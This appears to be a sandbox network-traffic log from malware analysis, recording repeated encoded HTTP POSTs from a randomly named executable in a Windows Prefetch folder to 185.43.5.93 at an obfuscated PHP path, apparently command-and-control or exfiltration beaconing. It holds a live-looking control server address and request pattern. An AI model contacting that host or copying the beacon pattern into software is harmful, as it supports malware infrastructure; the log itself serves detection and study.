Dec 10, 2024 07:33:14.846919060 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:15.204730988 CET	1048	OUT	Data Raw: 5f 5f 59 5a 5d 5a 56 5c 58 5f 51 55 5a 5a 58 50 56 5b 58 54 56 5a 50 50 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: __YZ]ZV\X_QUZZXPV[XTVZPPPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!-!*33=P4 >8:"3(??S /?V+&(8!$73!^" \)1
Dec 10, 2024 07:33:16.186197042 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:16.419662952 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49878	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:16.799145937 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49881	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:17.289678097 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:17.642237902 CET	1048	OUT	Data Raw: 5f 54 59 58 5d 5a 53 58 58 5f 51 55 5a 5f 58 57 56 5b 58 54 56 59 50 58 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _TYX]ZSXX_QUZ_XWV[XTVYPXPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!;5C035Q #;*$>8+?-T ,(15Q>9E'[4[&(!^" \)%
Dec 10, 2024 07:33:18.735337019 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:18.854969978 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49888	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:20.778395891 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:21.126540899 CET	1048	OUT	Data Raw: 5f 50 59 5f 58 5d 56 58 58 5f 51 55 5a 5f 58 5c 56 51 58 5f 56 51 50 5a 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _PY_X]VXX_QUZ_X\VQX_VQPZPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!/2"'> U=\,\6\0-7X("4?#Q)19>]9D'=<[$!^" \)%
Dec 10, 2024 07:33:22.105420113 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:22.341228008 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49890	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:21.235797882 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1764 Expect: 100-continue
Dec 10, 2024 07:33:21.595134020 CET	1764	OUT	Data Raw: 5f 50 5c 5d 5d 52 53 5b 58 5f 51 55 5a 56 58 57 56 54 58 5b 56 51 50 5e 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _P\]]RS[X_QUZVXWVTX[VQP^PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["Y/5$U"#810>#Z<%R# +":*1A3=?'!^" \)
Dec 10, 2024 07:33:22.507153988 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:22.743738890 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1f 26 58 34 2f 20 10 31 3b 23 12 30 14 31 09 28 19 26 15 3f 02 36 59 3c 0d 34 14 3c 16 2e 03 22 1a 0e 58 26 3e 36 11 30 3f 0b 0f 24 34 2e 5e 0c 10 38 17 21 01 30 5b 28 00 2b 5a 3d 2f 08 59 2a 3c 3c 03 26 3c 05 12 26 39 38 00 30 06 14 0a 24 2c 3d 59 3e 07 0c 13 3c 1f 0a 56 31 38 2e 56 0b 12 23 1c 3d 00 3c 58 24 3d 33 1d 28 3d 2a 1e 22 39 32 5b 23 5a 20 03 36 06 03 03 3e 0c 38 59 24 1f 28 0a 27 3a 3b 07 23 02 3a 09 31 08 24 50 2c 0d 28 55 03 3e 57 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&X4/ 1;#01(&?6Y<4<."X&>60?$4.^8!0[(+Z=/Y<<&<&980$,=Y><V18.V#=<X$=3(="92[#Z 6>8Y$(':;#:1$P,(U>WT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49896	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:23.135458946 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:23.485750914 CET	1048	OUT	Data Raw: 5f 54 59 5f 5d 5d 53 5f 58 5f 51 55 5a 5f 58 50 56 53 58 54 56 5c 50 5d 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _TY_]]S_X_QUZ_XPVSXTV\P]PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["\,'U9 ",:!$<+/6#Z3P+19U)=00!^" \)%
Dec 10, 2024 07:33:24.473460913 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:24.707362890 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49902	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:25.048027039 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:25.407638073 CET	1048	OUT	Data Raw: 5a 55 5c 5f 5d 5b 56 5a 58 5f 51 55 5a 56 58 56 56 53 58 59 56 5b 50 5b 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZU\_][VZX_QUZVXVVSXYV[P[PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!/E30" 3Y;>3'\?<)V!?#P)!)Q=(9'=708!^" \)
Dec 10, 2024 07:33:26.375740051 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:26.611702919 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49908	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:26.866580963 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:27.220108032 CET	1048	OUT	Data Raw: 5f 53 5c 59 58 5d 56 5a 58 5f 51 55 5a 5d 58 53 56 51 58 5a 56 5b 50 5d 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _S\YX]VZX_QUZ]XSVQXZV[P]PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["\;2=$ !U#3=;*-'=?<5V4/W+U)5A0=$[0!^" \)-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49910	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:27.878232956 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:28.235726118 CET	1764	OUT	Data Raw: 5a 55 5c 5f 58 5f 53 5a 58 5f 51 55 5a 5a 58 55 56 56 58 54 56 5b 50 5f 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZU\_X_SZX_QUZZXUVVXTV[P_PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["/"E$9 #5X,:$-+*4,Q<)(;C'-8X0!^" \)1
Dec 10, 2024 07:33:29.216737032 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:29.451431036 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1f 25 00 23 59 28 10 24 2b 23 54 24 2a 26 50 2a 27 03 00 3f 02 31 00 3c 0d 23 05 3f 01 31 13 21 34 0e 5e 27 2d 22 52 30 2c 25 0f 25 1e 2e 5e 0c 10 38 17 23 28 2b 02 2b 2e 30 03 29 59 31 05 29 3c 02 05 32 2f 23 5d 27 3a 23 11 33 2b 35 53 24 05 2d 10 29 29 00 5d 28 08 3b 0d 26 12 2e 56 0b 12 23 1f 3d 07 28 13 33 3e 3c 0f 3e 58 21 0d 23 5c 3a 13 20 5a 23 58 36 28 26 13 29 22 34 11 30 31 09 57 33 39 38 5f 34 05 25 15 26 32 24 50 2c 0d 28 55 03 3e 57 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%#Y($+#T$&P'?1<#?1!4^'-"R0,%%.^8#(++.0)Y1)<2/#]':#3+5S$-))](;&.V#=(3><>X!#\: Z#X6(&)"401W398_4%&2$P,(U>WT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49912	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:28.036525965 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:28.391923904 CET	1048	OUT	Data Raw: 5f 55 59 5a 5d 52 53 5a 58 5f 51 55 5a 5f 58 52 56 50 58 5e 56 58 50 50 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _UYZ]RSZX_QUZ_XRVPX^VXPPPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["\8"$#1#3&8&^$=?)/ 'Q<25T*8"'>73!^" \)%
Dec 10, 2024 07:33:29.364178896 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:29.603425026 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49918	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:29.906306982 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:30.251306057 CET	1048	OUT	Data Raw: 5f 54 5c 59 5d 59 56 50 58 5f 51 55 5a 58 58 52 56 53 58 59 56 51 50 5e 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _T\Y]YVPX_QUZXXRVSXYVQP^PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["]82)D3#)V#U%85'X??%73<!&*&'>'0!^" \)9
Dec 10, 2024 07:33:31.225570917 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:31.459662914 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49924	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:31.744492054 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:32.095103979 CET	1048	OUT	Data Raw: 5a 57 5c 5a 5d 59 56 50 58 5f 51 55 5a 5d 58 54 56 52 58 5a 56 50 50 58 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZW\Z]YVPX_QUZ]XTVRXZVPPXPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["Y/1*$U=4989.\3>#+Y:#/??)+=E$'0!^" \)-
Dec 10, 2024 07:33:33.074024916 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:33.303427935 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49929	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:33.556442022 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:33.907604933 CET	1044	OUT	Data Raw: 5a 53 5c 5f 5d 5b 56 5a 58 5f 51 55 5a 5e 58 56 56 51 58 55 56 5d 50 5f 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZS\_][VZX_QUZ^XVVQXUV]P_PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!/!%A3=W U>,)13=+X+"4$(T*)+5C3<Z$8!^" \)-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49931	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:34.590481997 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:34.938826084 CET	1764	OUT	Data Raw: 5a 53 59 5b 5d 5d 56 5a 58 5f 51 55 5a 58 58 55 56 51 58 5f 56 5a 50 50 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZSY[]]VZX_QUZXXUVQX_VZPPPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[";=0%T##;$4+Y*!,7<9Q)89C'><Z&8!^" \)9
Dec 10, 2024 07:33:35.930350065 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:36.163763046 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1f 26 58 23 3f 2c 13 25 02 38 0f 24 03 39 0f 28 34 22 16 2a 2c 04 5b 2b 1d 05 07 3f 06 31 11 21 34 20 5f 27 03 29 0d 33 01 35 0a 32 0e 2e 5e 0c 10 38 5b 21 3b 30 5a 2b 00 23 5a 3e 11 29 05 28 3f 24 03 31 05 30 02 27 03 28 04 30 06 25 17 30 02 22 05 3e 5f 2e 5b 3c 08 3b 0c 25 02 2e 56 0b 12 23 1f 3e 00 2b 06 33 03 09 56 3e 00 39 0c 22 39 22 11 37 02 23 11 21 38 03 07 3e 0b 28 5e 30 21 02 0c 24 2a 2c 5d 34 02 35 1b 27 22 24 50 2c 0d 28 55 03 3e 57 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&X#?,%8$9(4",[+?1!4 _')352.^8[!;0Z+#Z>)(?$10'(0%0">_.[<;%.V#>+3V>9"9"7#!8>(^0!$,]45'"$P,(U>WT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49932	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:34.964966059 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:35.313838959 CET	1048	OUT	Data Raw: 5a 53 59 5f 5d 5f 56 5e 58 5f 51 55 5a 5c 58 5c 56 54 58 5f 56 50 50 5d 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZSY_]_V^X_QUZ\X\VTX_VPP]PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!;%'35U7-8:5';[+=4?7+T%U)]!@3=X3!^" \))
